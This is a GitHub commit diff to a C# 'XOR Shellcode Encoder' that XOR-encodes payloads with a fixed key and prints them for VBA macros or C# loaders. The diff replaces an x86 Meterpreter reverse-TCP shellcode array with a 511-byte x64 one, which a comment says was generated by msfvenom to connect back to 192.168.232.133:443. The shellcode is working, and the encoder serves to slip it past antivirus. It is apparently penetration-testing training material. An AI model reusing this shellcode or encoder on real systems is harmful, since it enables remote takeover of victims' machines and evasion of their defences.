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XOR encoder (VBA/Cs) fixes and tweaks
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@chvancooten
chvancooten committed Jan 4, 2024
1 parent 306a7e3 commit f8367de
Showing 1 changed file with 69 additions and 65 deletions.
134 changes: 69 additions & 65 deletions XOR Shellcode Encoder/Program.cs
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Original file line number Diff line number Diff line change
Expand Up @@ -11,38 +11,42 @@ public class Program
public static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[375] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,
0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x8b,0x42,0x3c,
0x01,0xd0,0x57,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,
0x50,0x8b,0x58,0x20,0x8b,0x48,0x18,0x01,0xd3,0x85,0xc9,0x74,
0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,
0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,
0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,
0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,
0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,
0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,
0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,
0x6a,0x0a,0x68,0xc0,0xa8,0x2d,0xf8,0x68,0x02,0x00,0x01,0xbb,
0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,
0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,
0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,
0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,
0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,
0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,
0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,
0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,
0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,
0xc1,0xc3,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,
0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5};
byte[] buf = new byte[511] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x41,0x58,0x5e,0x59,0x48,0x01,0xd0,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0xe8,0x85,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0xff,
0xd5 };

// Encode the payload with XOR (fixed key)
byte[] encoded = new byte[buf.Length];
Expand All @@ -64,46 +68,46 @@ public static void Main(string[] args)
hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
hex.AppendFormat("{0:D3}, ", b);
counter++;
if (counter % 50 == 0)
if (counter % 25 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
hex.Append("_\n");
}
}
Console.WriteLine("The VBA payload is: " + hex.ToString());
Console.WriteLine($"XORed VBA payload (key: 0xfa):");
Console.WriteLine(hex.ToString());
break;
default:
Console.WriteLine("The valid optional parameter is -VBA to printout VBA payload");

Console.WriteLine("Accepted arguments: -VBA to print VBA payload instead of C#");
break;
}
}
else
{
// Printout C# payload
hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];

if ((count + 1) == totalCount) // Dont append comma for last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}

if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}

Console.WriteLine($"XOR payload (key: 0xfa):");
}
else
{
// Printout C# payload
hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];

if ((count + 1) == totalCount) // Dont append comma for last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}

if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}

Console.WriteLine($"XORed C# payload (key: 0xfa):");
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");
}

Expand All @@ -119,5 +123,5 @@ public static void Main(string[] args)
*/

}
}
}
}

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